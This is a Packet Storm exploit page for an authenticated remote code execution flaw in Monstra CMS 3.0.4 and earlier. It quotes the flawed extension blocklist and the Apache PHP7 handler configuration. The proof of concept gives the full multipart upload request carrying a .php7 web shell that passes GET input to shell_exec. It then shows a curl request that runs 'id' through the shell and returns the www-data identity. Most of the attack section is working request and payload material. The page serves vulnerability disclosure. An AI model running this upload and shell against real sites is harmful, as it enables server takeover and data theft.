what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Monstra CMS 3.0.4 Code Execution

Monstra CMS 3.0.4 Code Execution
Posted Feb 21, 2018
Authored by Hashim Jawad

Monstra CMS versions 3.0.4 and below could suffer from a PHP7 remote code execution vulnerability if certain server conditions are met.

tags | exploit, remote, code execution
SHA-256 | 853acb2973915dbb0c78a76c516ac2881f35285e1e767a8b6982148964266a90

Monstra CMS 3.0.4 Code Execution

Change Mirror Download
# Exploit title  :  Monstra CMS =< v3.0.4 - Authenticated Remote Code Execution
# Date : 21.02.2018
# Exploit Author : Hashim Jawad
# Website : ihack4falafel[.]com
# Twitter : @ihack4falafel
# Vendor Homepage: http://monstra.org/
# Software Links : http://monstra.org/download
# Tested on : Ubuntu 16.04.3 LTS


**Vulnerability Requirements**
==============================
- User with edit or admin permissions.
- Apache2 webserver with PHP v7.0 (libapache2-mod-php7.0).


**Vulnerability Description**
=============================
Monstra CMS version 3.0.4 and eariler allow the upload of files with .php7 extension, which could lead to remote code execution. By default, PHP v7.0 configuration allows .php7 files execution, meaning
Monstra instances running on top of PHP v7.0 are vulnerable to this exploit, see below conf file:

root@server:~# cat /etc/apache2/mods-enabled/php7.0.conf
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
root@server:~#

**Vulnerable Code**
===================
See below Monstra vulnerable code from https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php

public static function main()
{
// Array of forbidden types
$forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
'php', 'phtml', 'php3', 'php4', 'php5', 'phps',
'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

**proof-of-concept**
====================
- Login as user with admin privileges.
- Upload cmd.php7

POST /webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: 192.168.80.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/
Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------142811919017951589212084055562
Content-Length: 547

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="csrf"

a026e14835638b29eb372ad869ae0738250f2240
-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="file"; filename="cmd.php7"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET['cmd']); ?>

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="upload_file"

Upload
-----------------------------142811919017951589212084055562--

- Browse to cmd.php7 and execute code

root@kali:~# curl -i -s -k -X $'GET' -H $'Host: 192.168.80.135' -H $'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/' -H $'Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -b $'PHPSESSID=50s1tl42a993rkkbheasllcii6' $'http://192.168.80.135/webservices/monstra-3.0.4/public/uploads/cmd.php7?cmd=id'
HTTP/1.1 200 OK
Date: Wed, 21 Feb 2018 20:40:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@kali:~#









Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close